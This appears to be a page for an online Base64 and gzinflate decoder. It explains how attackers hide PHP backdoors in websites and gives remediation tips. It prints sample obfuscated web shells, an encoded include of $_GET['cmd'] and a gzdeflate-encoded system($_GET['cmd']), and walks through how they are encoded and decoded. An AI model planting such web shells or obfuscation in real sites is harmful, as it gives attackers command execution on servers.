Base64 Decoder - Encoder.
This base64 online decoder tool allows you to encode the text to ASCII characters and decode Base64 online. Base64 decode / encode most commonly used in e-mail protocols to transfer binary data such as files and pictures. Also spammers and hackers make use of base64 decode option to hide the content of their scripts or messages from simple antispam or antivirus programs, filters or from people eyes.
To encode or decode base64 online, just paste your string in the textarea.
If you need to decode eval(gzinflate(base64_decode, please scroll down this page and use gzinflate decoder.
Base64 decode | encode
Eval(base64_decode("aWYoaXNzZXQoJF9HRVRbImNtZCJdKSlpbmNsdWRlICRfR0VUWyJjbWQiXTs=")); What it means? If you found something like this in the code of your website, most probably your site is hacked. This is a kind of backdoor in your site. Decoded from Base64 it will be
An attacker can execute own scripts in the content of your website. He can do it like this
Somescript.txt can contain a code like this system("dir"); where "dir" is a command that will be executed.
Fortunately attacker do not think about the fact that he uses method GET, so you can see in the webserver logs what he did exactly.
If you found it in your site first of all change your passwords, check file rights (that should be 644), newer use the same passwords for database and FTP, bacause the database password most commonly stored in plain-text. Do not use shared hosting, bacause if one website located on shared hosting is hacked, it is simple to hack any other website located at same server.
Decode eval gzinflate base64_decode.
Base64 decoder above will show something like this
<?php eval(gzinflate(base64_decode('K64sLknN1VCJd3cNiVZPzk1Rj9W0BgA='))); ?>
It's so, because this code was first compressed using gzdeflate and compressed data was encoded into base64. The script above will decode, decompress an execute obfuscated part of code.
Example below illustrate that kind of code obfuscation:
// Original // system($_GET['cmd']);$gzcompressed = base64_encode(gzdeflate($ob));
// Obfuscated // K64sLknN1VCJd3cNiVZPzk1Rj9W0BgA=$gzcompressed1 = base64_encode(gzdeflate($gzcompressed));
// Obfuscated two times // 8zYzKfbJzvMzDHP2SjFO9ssMiwqoyjYMyrIMN3BKd7QFAA==$decompressed1 = gzinflate(base64_decode($gzcompressed1));
// Deobfuscated one time // K64sLknN1VCJd3cNiVZPzk1Rj9W0BgA=$decompressed = gzinflate(base64_decode($decompressed1));
// Deobfuscated two times // system($_GET[\'cmd\']);
To decode gzinflate base64_decode construction automatically, paste your code below included php tags.
